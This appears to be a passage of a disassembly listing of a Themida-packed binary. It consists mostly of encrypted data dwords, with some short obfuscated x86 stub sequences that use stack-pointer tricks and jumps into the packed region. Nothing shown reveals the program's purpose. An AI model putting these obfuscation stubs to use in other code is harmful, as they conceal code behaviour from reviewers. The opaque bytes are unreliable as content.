3DA39E1Bh, 20958D50h, 79FC26A9h, 0C7D6F9FEh dd 0FF5D1C3Dh, 0FF36h, 61985B00h, 0B334A47Eh, 0C443F62Ch dd 1C9759C1h, 0B52CA179h, 0EFBA0512h, 36ECF36Eh, 9C860986h dd 0E03A5DDEh, 56EDF06Bh, 0A22C0E77h, 0F28854EFh, 62D6CCA5h dd 0B31CD7E5h, 646BE657h, 1FBE39BEh, 86E4D9B8h, 0E64F04E6h dd 77735835h, 0E97349C0h, 91E4EB62h, 9EE7A624h, 54E931C8h dd 59A29BF7h, 32479918h, 3B9A5D59h, 2CF36EEFh, 1F2704Dh dd 817254E9h, 0F8D2B1D4h, 0B510ADCEh, 1C652EBDh, 54E9441Ah dd 0DBFA7DFAh, 0B9138E4Fh, 6FF8h, 6FD82F00h, 77D52AEDh dd 2E54EF9Fh, 0BC447F4h, 0E1CAC6Fh, 53CFCE49h, 0AC8EF7E4h dd 854EF9Eh, 0BBEC6BEEh, 0DF208746h, 54EF9F5Dh, 9F393B04h dd 78BB54EFh, 88C08D4Eh, 0F66D0357h, 73BF09CBh, 0E121C129h dd 0B2EF1947h, 0BF3EBDD9h, 0FB550218h, 72E1FB7Eh, 0DF91AB01h dd 1C51C88Dh, 0EA16FC4Ch, 0CACD4C0Bh, 48609B50h, 3E9h dd 51063C00h, 7F4DC477h, 0DDEF6EEDh, 0BA0E894Fh, 19B32CA0h dd 85D75203h, 617BF667h, 0CA9E19DBh, 0AA3EB930h, 0D5FD890h dd 435868B3h, 4890000h, 455A6824h, 34890000h, 0E2895224h dd 4C281h, 0EA810000h, 4, 5C241487h, 52240489h, 5001D168h dd 24148B7Fh, 4C481h, 0D2F70000h, 44E3EA81h, 0D6897AC5h dd 48B545Ah, 4C48324h, 8904EC83h, 408F2434h, 24048B08h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp mov esi, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp jmp loc_54658E ; --------------------------------------------------------------------------- dw 948Dh dd 0EABD50B8h, 0FFC50305h, 5B58DBE0h, 0C846AC71h, 3EC517Fh dd 2B41CD45h, 5518983Ah, 0F703021Eh, 0FCF50A45h, 37FFE826h dd 10D62736h, 0ECE3AD5Dh, 0C8F2D227h, 1E137C22h, 7981AC4Eh dd 87BD006Dh, 14477E52h, 1439CA74h, 0AA15425Bh, 4C843B5Eh dd 834D4721h, 3CB41A71h, 75C28533h, 0DE835h, 0C1510000h dd 0BE774AD3h, 6CC6966Eh, 0BB6FC62Bh, 2F843193h, 0D6BF0F5Eh dd 7043C681h, 0FE90000h, 7A000000h, 6FA38225h, 7595E2B2h dd 0D45BCD92h, 0E2B9C4A1h, 8175E431h, 1BE9F1C1h, 0FF69B78Ah dd 13E936h, 11500000h, 548BE7C0h, 6ECAB287h, 6DED502Ah dd 6C6BBB77h, 830F589Eh, 2, 0E881DA8Bh, 6430BE79h, 1EF8166h dd 0B3C08184h, 662378B7h, 81E2BEBFh, 19C4B6E8h, 6A44BF07h dd 6897579h, 7E8h, 0D0580C00h, 0ACC2BF5Ah, 6E9h, 0CCB41D00h dd 5ACBD04Fh, 12EDEE81h, 0BF5360CBh, 106A4E76h, 0E9C6815Fh dd 0F60CB12h, 0C81h, 68C0F00h, 81000000h, 8F10FF7h, 850F4957h dd 1Ah, 0E9D1B70Fh, 2Dh, 0FCBC9E4h, 2290E1C1h, 0B2DFB645h dd 1F702072h, 0BA664386h, 54E902B4h, 0F3FFFFFFh, 282A5613h dd 2067B69Dh, 1FCD2E5Fh, 9D52C21Dh, 0CE8A8h, 2D250000h dd 0FB275666h, 308E5F40h, 0FE9D5F2h, 0F4000000h, 9AF1756Ah dd 0E3349BBEh, 0A46B1316h, 0E95EB2C4h, 11h, 34FF5483h dd 0B2C715D7h, 4463380Ah, 1DDC6C11h, 9BC68171h, 66000071h dd 0BA7874BFh, 3AC3421h, 0E802C281h, 0E950FC53h, 11h, 4A44463Fh dd 9F068132h, 62E5482Dh, 0BC4F88EFh, 68B5903h, 10E8h, 0F370000h dd 79BF977Dh, 62FC872Eh, 0DF1CC020h, 6DE181D8h, 595CB612h dd 0F13BC081h, 81F92F39h, 8A747EC0h, 0D8B70F79h, 0A053F081h dd 0F781477Dh, 52469539h, 850F0689h, 17h, 12E9h, 0B8065000h dd 0D23AF621h, 0D666ADD3h, 2B81D1F6h, 83432545h, 810F04EEh dd 0Dh, 8E9h, 0AC643C00h, 7A57F1A8h, 1EA8190h, 0F000000h dd 1B85h, 0E9CB8B00h, 2Dh, 9872DAFCh, 0A91689E1h, 0F980B471h dd 436BF0AAh, 61FCDCBDh, 0D9816660h, 0B866DA5Ah, 0E9615D96h dd 0FFFFFF5Ah, 0D0C23B9Fh, 2B60A2E4h, 83C08BAAh, 0E416A1BDh dd 9750005h, 220DBD83h, 740005E4h, 8B535019h, 421B8C0h dd 85890000h, 5E42215h, 0A8EB9D8Dh, 0D3FF05E6h, 0BD83585Bh dd 5E4220Dh, 50177400h, 421B853h, 85890000h, 5E42215h dd 0A5DA9D8Dh, 0D3FF05E6h, 0C08B585Bh, 1A959D8Bh, 85C605E4h dd 5E42A49h, 0B8526856h, 0B5FF9CA8h, 5E426F5h, 6D30858Dh dd 0D0FF05E7h, 68046Ah, 0FF000010h, 0E4210DB5h, 0FF006A05h dd 0FC085D0h, 0D85h, 0B800h, 8D8D0000h, 5E46FFDh, 0C88BE1FFh dd 4003C38Bh, 0F8053Ch, 508B0000h, 83D3030Ch, 0E402C9BDh dd 840F0005h, 0Eh, 2C99D8Bh, 858B05E4h, 5E408F1h, 52510389h dd 792E858Dh, 0D0FF05E4h, 0F18BFA8Bh, 0C88BD18Bh, 85C6A4F3h dd 5E42A49h, 6D396856h, 0B5FFD41Fh, 5E426F5h, 6D30858Dh dd 0D0FF05E7h, 800068h, 52006A00h, 0C08BD0FFh, 16A1BD83h dd 750005E4h, 0DBD8309h, 5E422h, 53501974h, 21B8C08Bh dd 89000004h, 0E41A5585h, 529D8D05h, 0FF05E6A9h, 83585BD3h dd 0E4220DBDh, 17740005h, 21B85350h, 89000004h, 0E41A5585h dd 0F39D8D05h, 0FF05E6A5h, 8B585BD3h, 0C99D8DC0h, 8B05E402h dd 0FC00B03h, 784h, 8B038B00h, 1889045Bh, 4B41B8h, 0CE800h dd 32270000h, 0DF1F7FFCh, 79D5EFE5h, 8B664744h, 6E95AF9h dd 0AE000000h, 8AC03EFEh, 0DFC281FDh, 0BE000073h, 48C69B1Ah dd 1CC3B8h, 0FF8CB700h, 0FFB70F32h, 0FE959h, 6CBB0000h dd 80141FCEh, 0A80D5319h, 0F4BA0268h, 5AE981EAh, 0F056C73h dd 1782h, 12E900h, 5910000h, 4E90DDDBh, 0AF7FCCC4h, 8083E8F6h dd 0EB6B18FEh, 383FC181h, 8F0F35B2h, 3, 81F9F380h, 0C922B4F1h dd 0F18B6610h, 0D98B6651h, 0F60028Fh, 68Fh, 800F00h, 61000000h dd 5104EA83h, 2890Fh, 61600000h, 1E8815Fh, 0F000000h, 0F85h dd 0E7BF6600h, 1FE92Fh, 7C3B0000h, 0B66F87E7h, 0FFFF6AE9h dd 5A86B4FFh, 0CCFECC15h, 0E4047199h, 0A606A6h, 0C62D85A8h dd 2AE989h, 4C70000h, 24h, 0E800h, 815D0000h, 0EAC299EDh dd 24448B05h, 25858904h, 0B805E416h, 0 dd 4C308D8Dh, 0E1FF05E4h, 6754B8h, 0B99D8D00h, 0B805E413h dd 1434h, 25C98589h, 0E805E4h, 58000000h, 0D05h, 0E9038900h dd 1434h, 50Dh dup(0) dd 0AE8h, 4D103B00h, 0BA1C6DB0h, 0F39BDCEh, 0F59F0B7h dd 0C181C7B7h, 5CC6h, 0BBD2BF0Fh, 0DE29B99h, 8C9EF381h dd 398B0DE2h, 4F6091BEh, 5EF7814Bh, 813103C2h, 60FE6DF7h dd 198D0F4Ch, 0E9000000h, 14h, 45D9318Ch, 3E87D03Bh, 9120E2Fh dd 0C00C5A17h, 276A3E48h, 0CAAAC781h, 57F90C55h, 68C0Fh dd 0CE810000h, 749BB41Eh, 0E956018Fh, 6, 0DF687BD5h, 835A86B4h dd 0C88004E9h, 850F4B9Fh, 16h, 20E919B4h, 0E7000000h, 0FF6967E5h dd 0C488AE33h, 7FA0E556h, 83E9E8D3h, 0B6FFFFFFh, 0E7B40E39h dd 13A5F3CFh, 0E9E405E0h, 3Bh, 89BD8B60h, 8305E42Dh, 0C93304EFh dd 20BBC18Bh, 83EDB883h, 8BE04C7h, 0D1000000h, 23D21BE8h dd 4EC233D3h, 0FFF1850Fh, 8941FFFFh, 0F98107h, 0F000001h dd 0FFFFD382h, 8BC361FFh, 0FDED55C8h, 0F67A5E75h, 0E669A476h dd 0FD49BC56h, 0FD20088Ah, 0FD2026E8h, 0FD203129h, 0FD20B88Fh dd 0FD207E79h, 0FD209C57h, 0FD20ED3Ch, 0FD20551Dh, 0FD200908h dd 0FD202637h, 0FD20310Ch, 0FD20BD61h, 0FD207EC2h, 0FD209CA3h dd 0FD20ED8Ch, 0FD205348h, 0FD20089Ch, 358A259Dh, 0D6A22295h dd 0DE714A76h, 0F44BBD5Ch, 0FD7A5A5Ch, 0F5722775h, 0FD799775h dd 0FD78CB74h, 0F57DED73h, 0FC7BF374h, 0FC7B7874h, 0FD7ABC75h dd 0FD7A5E75h, 0A7373176h, 0A737D975h, 0FD7ACB75h, 0FC7BE475h dd 0FC7BF374h, 0F8B29074h, 701ABC75h, 17A67EF0h, 0AAFFA670h dd 707F7DADh, 17A6FDF0h, 0EAFF6C70h, 707F18ADh, 17A60DF0h dd 0AEFF3570h, 707FB4ADh, 17A1FBF0h, 0E6FF1E70h, 707F21ADh dd 17A176F0h, 0E2FF7B70h, 707F93ADh, 17A08DF0h, 0DEFFD770h dd 707FC5ADh, 17A0D4F0h, 0DAFF4270h, 707F0FADh, 17A0ABF0h dd 0D6FFF070h, 707F56ADh, 17A0EAF0h, 0CAFFA670h, 707F7DADh dd 17A04BF0h, 0D2FF6C70h, 707F18ADh, 17A0E6F0h, 0CEFF3570h dd 707FB4ADh, 17A09BF0h, 0CAFF1E70h, 707F21ADh, 17A00BF0h dd 0BAFF7B70h, 707F93ADh, 17A1B1F0h, 0B6FFD770h, 707FC5ADh dd 17A1A7F0h, 0B2FF4270h, 707F0FADh, 17A18BF0h, 0C6FFF070h dd 707F56ADh, 17A1EEF0h, 0C2FFA670h, 707F7DADh, 17A680F0h dd 0BEFF6C70h, 767F18ADh, 197A74F0h, 6DFF3570h, 767FB4ADh dd 19671EF0h, 69FF1E70h, 9C7F21ADh, 11F1B0B6h, 0FD7AF29Dh dd 17FB2375h, 0F89065D1h, 0F53FD525h, 25F5ADFDh, 3422929Fh dd 0AC7ACFB7h, 0AD29B723h, 0FD7A1A20h, 7C277975h, 17A37998h dd 0EBFFA070h, 7D7FC5ADh, 17A281C8h, 0B409CF70h, 4B75E4C5h dd 89BAF9B5h, 69EF8635h, 0BD7F56ADh, 452B96FEh, 0FD7A2F7Ah dd 25EE028Ah, 48F7CE9Fh, 0F8903D62h, 50FCC6F8h, 0FD7E4B9Dh dd 456FCF75h, 0FD7A5E76h, 25EEBA8Ah, 48F7929Fh, 0F8901362h dd 50FCD1F8h, 1F23228Ah, 0EBF787BCh, 0A07F56ADh, 0A320052Dh dd 6D92EC2Ch, 4D7A9777h, 5779C1CDh, 25EA708Ah, 3ED1F79Fh dd 0FD78079Dh, 9BC2DA75h, 9B5954CDh, 6DEFD0DEh, 9B7F7DADh dd 959208DEh, 0B7AE577h, 8872F336h, 6DEF866Eh, 4D7F56ADh dd 0AD7954C5h, 25EABA8Ah, 9B20929Fh, 9B7E2BF6h, 561C277Eh dd 0FF6B1AB6h, 15297975h, 0FD7ABE4Eh, 89A0652Fh, 3D59A57Bh dd 0DF709491h, 4DBA07F5h, 3ED183FEh, 0FD7B009Dh, 0E1922A75h dd 0A77ABC77h, 120E844Eh, 16D049C5h, 0FCA77FA9h, 0BE8CCB75h dd 0D30FED74h, 0FF7B1A26h, 0B207975h, 8872BD36h, 89A06554h dd 3D59A568h, 0DF709491h, 4DBA07F5h, 6885B5FFh, 0F8902AE5h dd 0FD5F1F2Fh, 3F71DA51h, 4DB9F513h, 0BD9285E9h, 4D7A9774h dd 359261F4h, 157AE574h, 0FD7AF22Dh, 0FC5791DEh, 60CABC75h dd 61CA9DDFh, 0FC5BC7DFh, 451C9775h, 561C4A13h, 0FD7B439Dh dd 0FD4C1A75h, 561C7975h, 0FD7BB69Dh, 57E7EE75h, 57E69FB6h dd 0FD7A699Dh, 0FCF32375h, 0BE8CE575h, 0F20FFA74h, 15D0F9C5h dd 0FD7ABC65h, 0F99EDEDFh, 1584487Dh, 0FD7A97AAh, 3ED056C5h dd 0FD7AE2CDh, 69EF0D75h, 707F93ADh, 17A2E7C0h, 518A5D70h dd 2D02C7Fh, 17A207E0h, 0E5920870h, 4D7AE574h, 5779F825h dd 2844B9Dh, 0FC43548Ah, 0A5CA5E75h, 3ED02C7Fh, 4DD0C7C5h dd 0E1926127h, 9B851A8Bh, 9B4BFDCDh, 36B91DEh, 0A7CA438Ah dd 5722EEDFh, 57929FB6h, 0C923C22h, 0A77ACB75h, 3F5122FEh dd 747E1AF6h, 8B9177h, 592438Ah, 4D7A5E75h, 5779252Dh dd 0F0FF69B6h, 7D7F21ADh, 17A2E8C8h, 0EC0FF370h, 2505FCF8h dd 152AB99Fh, 0FD7A5C61h, 0FD781B9Dh, 571A2775h, 287759Dh dd 0C30D8Ah, 9CCA0D8Ah, 0F0F787DFh, 7D7F56ADh, 17A253C8h dd 0F10F2F70h, 250512F8h, 152ACE9Fh, 0FD7AE4DEh, 0FD7E4AB6h dd 68857975h, 0F89064E1h, 21A6C3F8h, 0F9F02A9Fh, 4DB93D6Dh dd 562D619Ch, 0FD7A8E9Dh, 3AF1A875h, 15F9BB5Eh, 3E783571h dd 25EACB8Ah, 4ACE2A9Fh, 0FF0E9651h, 0F2CA74C1h, 0C9924E13h dd 0AE7AF275h, 0FD7A279Dh, 0FEF0E675h, 0F179BEB5h, 577825B5h dd 6DEF68B6h, 7D7F21ADh, 39FAEA91h, 9B7542F5h, 15D12EDEh dd 285415Ah, 0D6BDD52Fh, 0F992ACB7h, 45B995FCh, 0FD7ACB73h dd 25EE708Ah, 60F7F79Fh, 0F890A106h, 3E39A0F8h, 0FD7A4ECDh dd 69EFD075h, 7E7F7DADh, 35F1CEB5h, 6DEF1A89h, 577F18ADh dd 15B98E97h, 28543BEh, 0D97B1DFFh, 778E5A72h, 0FC6C7F76h dd 1608CB75h, 8831DB6h, 11F1A789h, 9D86BDF6h, 0FD7ABC9Dh dd 17FB0475h, 0F890F399h, 7D86EAFCh, 17A244CFh, 7975E570h dd 0FD7AF2ECh, 0FD7A73CDh, 69E84375h, 0BD7FB4ADh, 25E2ADFCh dd 35F1929Fh, 20BA79F8h, 6F85E09Fh, 0F8902AE5h, 1F3C7FFDh dd 0FD6D0480h, 7F795E75h, 0F890F7EDh, 49E01A35h, 7E7F21A8h dd 0FEF3E1B6h, 0FD644B22h, 77797975h, 0F89064EDh, 20D8ECF8h dd 59892A9Fh, 0FD722F2Bh, 6F85CB75h, 0F8903DE1h, 897E0AF6h dd 447C7185h, 0FD7ABC72h, 0F24B5A7Dh, 1EBBF7C3h, 0FD742E76h dd 0E172CB75h, 0FD765C44h, 0F972F275h, 0FD61C044h, 0F972BC75h dd 0FD66E744h, 0F9722F75h, 15B7F44h, 80F3348Ah, 80F18489h dd 0ADB93B89h, 0FD7A7F9Dh, 2229C75h, 0A58E7A11h, 55E6BFCh dd 0D93E16E9h, 0C92CB389h, 0AD3A7867h, 0FD7AF2B6h, 0FD7A7975h dd 0A87ABC75h, 151AB2FEh, 0FD7A2F75h, 2E90162Fh, 707F21A8h dd 17A279CFh, 0F50F7970h, 0FD7A71CCh, 9CDE4F75h, 0FD7E9CBCh dd 61E7A226h, 7D7F7DADh, 887BD349h, 1683BE71h, 3E82A977h dd 9D96F220h, 0FD7ABC9Dh, 17FB0475h, 0F890F179h, 25E625F8h dd 80F1CE9Fh, 0FD725C7Dh, 5989F275h, 0F9B8B014h, 40F7DC75h dd 0F89086E9h, 0F5C3EF46h, 0E7A9775h, 9DB9AADFh, 25E658F8h dd 0C2FBF79Fh, 0FC7B7874h, 82FBB000h, 0FC7B5F71h, 4795A74h dd 9C82969Eh, 40F7ABB6h, 0F8903DE9h, 0FD7AF3CDh, 0FD72C075h dd 5789BC75h, 3DF19D14h, 78F7EFFEh, 0F8904FDCh, 0CA8BD08Ah dd 9E8h, 0F94E3F00h, 369C378h, 880F0622h, 3, 5AC28B66h dd 6D7FC281h, 0B1500000h, 27BB5801h, 8000001Bh, 3A8BCEE1h dd 0AE9h, 0F04D200h, 87B761E0h, 813E5B3Fh, 0AA8D2EFh, 1AC78147h dd 0E91CFB75h, 0Eh, 36156413h, 0DCE4A58h, 0DCE5FA75h, 0EF816104h dd 7F086522h, 0BE960h, 0B1D10000h, 6B1FABD5h, 344F7070h dd 11E8E7h, 3B370000h, 818D6BFAh, 7C516DCFh, 83CCC8D5h dd 0F524884h, 81h, 57615800h, 68F0Fh, 0D0810000h dd 3F9E3737h, 8166028Fh, 838B3FCEh, 0EB8304EAh, 15850F01h dd 66000000h, 35E9C18Bh, 7000000h, 0B4D6C408h, 0AFF1100Fh dd 8B22A6C8h, 0DE9h, 7568600h, 1AB2B7A6h, 8E698402h, 4FE98D5Ah dd 15FFFFFFh, 74B3F74Eh, 0F48B4712h, 0C77B1AC5h, 0F48D0408h dd 16EBh, 4 dup(0) dd 1010000h, 3C0h, 9D2905EAh, 5E4162Dh, 9E86090h, 79000000h dd 83899E5h, 6BF7EEFh, 12E8h, 0AAAF4300h, 0A125B356h, 26A9252Bh dd 0D40C8E43h, 5A54D4A0h, 0A30AB958h, 506158FFh, 6A90D88Bh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h dd 40000000h, 0EEC350h, 23F23E20h, 0CF8166E9h, 6A0F9Bh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 6FC35545h dd 544538CCh, 6A770629h, 0B5296000h, 5E430CDh, 76858D61h dd 5005EAE0h, 0AA94BB66h, 6A240489h, 75852900h, 6A05E42Eh dd 0A5850900h, 8105E42Ah, 19F7BBC1h, 0A195FF15h, 6A05E421h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 16042444h dd 42000000h, 84A0C352h, 0C1BD3317h, 8B05E40Fh, 0E42AD5BDh dd 0FFBF0F05h, 5F3E9h, 7FDB8100h, 0E84B2F93h, 0 dd 7BED815Dh, 6A05EAE0h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 18042444h, 42000000h, 99AEC352h, 8BEBF973h dd 0E41C6195h, 10E905h, 0A81C0000h, 481C3B41h, 82257AFAh dd 0E2B26FA3h, 0B5897595h, 5E42369h, 15E8CE68h, 81CAB5D3h dd 26D22404h, 0CE92CEAh, 0C5000000h, 893A471Bh, 57AB6DD9h dd 0FF927204h, 0E410C195h, 0D38B6605h, 0DF69B58Dh, 6A05EAh dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h dd 3B06E5C3h, 0FE770A5Bh, 0BFEF8051h, 5206C75Ah, 6A6D6765h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h dd 46000000h, 0E5F8C356h, 0AFA4E4D2h, 0AE8B145h, 0F9000000h dd 0B34E19E5h, 94C68E1Dh, 12E94Bh, 2A750000h, 6E3A9AB5h dd 0A3DFED5Ah, 0A666FD3Ah, 0FE3D8F60h, 446C75Fh, 6C636E6Fh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0AFC35242h dd 86F5F6D2h, 3A5480F9h, 52CBB398h, 46C759FCh, 73736108h dd 0AEBB6600h, 6A006AA6h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 19042444h, 43000000h, 1CF1C353h, 3D816B1Eh dd 596EE7B9h, 0D8D8B1Fh, 8D05E428h, 0EADF6985h, 50006A05h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h dd 0D8C67AA5h, 6464746Dh, 0BF669054h, 8B509F3Bh, 6A90CEh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h dd 874F59C3h, 0D9A354C7h, 0C1958BB7h, 8905E41Ah, 0E424718Dh dd 995FF05h, 6A05E412h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 14042444h, 41000000h, 0BCAC351h, 33840FC0h dd 89000000h, 0E41B49BDh, 3D7E905h, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 160424h, 57470000h, 740D47C3h dd 4F93BF66h, 759D8Bh, 166805E4h, 60F47954h, 7110CB9h dd 0C6E3B86Eh, 8161634Dh, 0AD162404h, 6A0B86h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h dd 464EA2C3h, 1B3CC8A5h, 8B66AFBCh, 458D89CBh, 0FF05E40Dh dd 0E410C195h, 52006A05h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1904h, 0C3524200h, 94751F35h, 31520AB0h dd 0E41135B5h, 0B58D5B05h, 5EADF69h, 6C7B4B6h, 36343831h dd 6840Fh, 9D890000h, 5E41CF9h, 28B5B529h, 46C705E4h, 342D3704h dd 139BBF31h, 9D8B4C75h, 5E41A41h, 846C7h, 8B000000h, 59D29D6h dd 6A05E41Eh, 12E800h, 16030000h, 0FB8B0C73h, 0C246E524h dd 0C33FBFADh, 8DB49C66h, 0BE9h, 0C6B30900h, 5B14D8A7h dd 247E523Dh, 69858D59h, 8905EADFh, 0E42045B5h, 0EEB65005h dd 6A240489h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 15042444h, 41000000h, 0F5CAC351h, 89A5BF66h, 120995FFh dd 890F05E4h, 14h, 0CE8h, 0BAD9600h, 0EEF97C55h, 0A3132E4Dh dd 5F5F514Eh, 0FC00BFCh, 6284h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1D04h, 0C3564600h, 0AFDDA808h dd 39EF1924h, 0BD2BA865h, 5E40FA5h, 17CF8166h, 23FE9D7h dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h dd 57470000h, 5CC4DEC3h, 7185A0Bh, 0B44E98BBh, 9DF7811Ch dd 0E85BE388h, 4, 12Ch, 0DB3A1FB9h, 0BE95040h, 0D0000000h dd 8A96DA68h, 21EB2073h, 448BD2E7h, 41B20424h, 0BB66008Bh dd 44899D35h, 0B7510424h, 0F585AA1h, 0D181C8BFh, 22099A7Ah dd 10C195FFh, 6A05E4h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 190424h, 51410000h, 534581C3h, 8B3572B9h, 0E421BD8Dh dd 69B58D05h, 6A05EADFh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1D042444h, 42000000h, 6B4EC352h, 0AAE19B91h dd 0E4415BC8h, 694606C7h, 6A656Ch, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1C0424h, 55450000h, 1E4F7AC3h, 0DFCC2434h dd 54BA0C08h, 317A2128h, 0E426F18Dh, 446C705h, 636E6F6Dh dd 22419509h, 46C705E4h, 73616C08h, 50006A73h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1404h, 0C3504000h, 758D8930h dd 0C705E423h, 0C46h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 190424h, 53430000h, 0B6E6AFC3h, 0BFCC923Ah dd 128B662Ch, 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h dd 150424h, 50400000h, 666C12C3h, 8D65BBBAh, 0EADF6985h dd 0D0B70F05h, 0FE8B6690h, 68E0F50h, 60000000h, 6160DD8Ah dd 6A9061h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h dd 55450000h, 0DC4400C3h, 0D221BCB5h, 95FF5528h, 5E41209h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 5EC35545h dd 719E64C6h, 0BF5EA03h, 1C840FC0h, 0F000000h, 4AE9C8B7h dd 0E9000000h, 0Fh, 3AFBF184h, 81B21CE5h, 6707CD86h, 0E9F4FBBBh dd 0FFFFFA67h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Bh, 39C35545h, 9C7101F9h, 2B7FF3C9h, 0E414559Dh, 28F0F05h dd 8B000000h, 0FDB58DFBh, 0B305E46Fh, 0B8DCh, 0F500000h dd 686h, 8D0F00h, 59000000h, 9D8BE6FFh, 5E42D91h, 0CAFEC18Bh dd 0A80B6D1Ch, 8A4FE593h, 0A80B725Bh, 75EAD5ABh, 0A80B7233h dd 8A4FFA99h, 57AE5DBAh, 8A4FFB76h, 0A80B7323h, 75EAD5ABh dd 0A80B73EAh, 8A4FFBA4h, 0A80B7074h, 8A4FF826h, 0A80B70EEh dd 75EAD5ABh, 38D42F25h, 310C0B3h, 42B7C5C0h, 7490A751h dd 215448A2h, 60F341D1h, 0FDD42F40h, 310C0BCh, 42B7CDC0h dd 2790A751h, 215448ADh, 60F35DD1h, 0ACD42F40h, 310C0BDh dd 42B7D9C0h, 0D390A751h, 215448ACh, 60F3A9D1h, 35D42F40h dd 310C0BDh, 42B725C0h, 6C90A751h, 215448ACh, 60F3A5D1h dd 8FD42F40h, 310C0BEh, 42B731C0h, 0E290A751h, 215448AFh dd 60F3BDD1h, 1D42F40h, 310C0BEh, 42B739C0h, 6890A751h dd 215448AFh, 60F3B5D1h, 12B8C340h, 0DF152A50h, 6CD24ECEh dd 8AFD4AA8h, 0F251A245h, 6D5FC0D5h, 0ED96A7AFh, 8A152AA8h dd 0A0242945h, 0B496E367h, 0A1D5ADBAh, 0CB152A54h, 415564C6h dd 75EAD5BAh, 3AAE63CEh, 8FF13765h, 0AB534284h, 0FFEA2211h dd 0A4245D55h, 0CF9C3AABh, 0EDDAC3B9h, 86D7E3A8h, 44DAF745h dd 0EAE9EED7h, 2359D7CEh, 0CFD22629h, 0A851A2B9h, 62AD6C54h dd 351A241h, 27BFEA66h, 12DB2FEEh, 7510C08Dh, 2011294h dd 53AFA0D9h, 79AEA7AFh, 0AE51A1ECh, 22DC0941h, 8FFFF3EEh dd 103773BAh, 21732ADFh, 71EB28C8h, 5BEA2FBEh, 8C152BFDh dd 988150h, 0ADBB7BFFh, 0D2A5FBABh, 0A42C89EFh, 0EBE957DDh dd 61ADE7CEh, 0DF152296h, 6CD24ECEh, 8AFD4AA8h, 0F251A245h dd 621FC0D5h, 0DDDAA7AFh, 8668A15Ch, 0A8ADE782h, 0CC152A54h dd 0A85C30BAh, 529E2FB0h, 83FC69CEh, 0E2A5B997h, 0F9FA31EFh dd 53AFA0D9h, 79AEA7AFh, 20949A0Dh, 8C551A23h, 21848132h dd 215DDF6Eh, 174D629h, 6A985E00h, 1402A5Ch, 549521A9h dd 8A15C234h, 290BA245h, 60FD4BBEh, 0A0242940h, 4D1957DFh dd 0A8515E00h, 75532A54h, 4C51AFD7h dd 19CDA151h, 9BFC69CEh, 0E2A5B997h, 0F9FA31EFh, 53AFA0D9h dd 79AEA7AFh, 20949A0Dh, 8C651A23h, 21848132h dword_5AD068 dd 215DDF6Eh, 174D629h, 6A985E00h, 1402A5Ch, 549521A9h ; DATA XREF: Themida_:off_55DEBDo dd 8260A134h, 6F5DDFCEh, 8A15D611h, 3BFDA245h, 0B91DC995h dd 4919197h, 4A38F2DEh, 2851A245h, 0E1AD5A8h, 0A851A25Eh dd 8A1523EDh, 2DA05545h, 86902586h, 2851A245h, 4B7332A3h dd 2337AA8Eh, 0A1BE4C97h, 0D5D8AE38h, 0CF9E4BA8h, 0A0936BB9h dd 669E7F54h, 0C8AD66C6h, 11D5FDFh, 0ED96AE38h, 8A152AA8h dd 69C20E45h, 582622B7h, 22FD6276h, 8AD5078Ch, 54D1A245h dd 939125ABh, 1151A245h, 8A152A5Dh, 7AD453B2h, 8A1FAF5Bh dd 10E0A245h, 4B93E256h, 39191EFh, 319577Fh, 23305E38h dd 48DCD611h, 2304A24Dh, 76D1A9B8h, 0A0242925h, 4D1957DFh dd 0A8515E00h, 0B92A54h, 0A7B2229Dh, 85E1D4h, 22DC0886h dd 8FFFF3EEh, 0F8E173BAh, 309FA7FEh, 5754489Ch, 20D6A085h dd 215DDF6Eh, 174D629h, 6A985E00h, 1402A5Ch, 549521A9h dd 8260A134h, 6F5DDFCEh, 8A15D611h, 0AFE9A245h, 75152A54h dd 4C4C93D7h, 20452651h, 71EB28C8h, 5BEA2FBEh, 9BFB2BF5h dd 85318694h, 0AC59622Eh, 0AEA58050h, 0A42C89EFh, 0EBE957DDh dd 61ADE7CEh, 0DF152296h, 6CD24ECEh, 0FF9E4AA8h, 0A42C294Dh dd 8AE96F93h, 451A245h, 8787D5FEh, 23544645h, 4917868Ch dd 12DB2FEFh, 7510C08Dh, 28E9C494h, 0BE4CBDh, 0D57A0886h dd 7668A358h, 54142924h, 8A1DE89Dh, 2BBD2910h, 175D690h dd 0D5DAAA30h, 7650ED58h, 0A851A245h, 18EA80F8h, 0ADB5A248h dd 58B9E2DFh, 32DC0885h, 8FFFF3EEh, 103771BAh, 2173E394h dd 83FB63CFh, 0F79C2629h, 0EDDAC3B9h, 82D7E3A8h, 44DAF745h dd 0EAE9EED7h, 2359D7CEh, 0CFD22629h, 0A851A2B9h, 75BF8654h dd 4C51AFD7h, 26DDA151h, 25FB6377h, 60CC90CEh, 0CE825D40h dd 0ECE4AAECh, 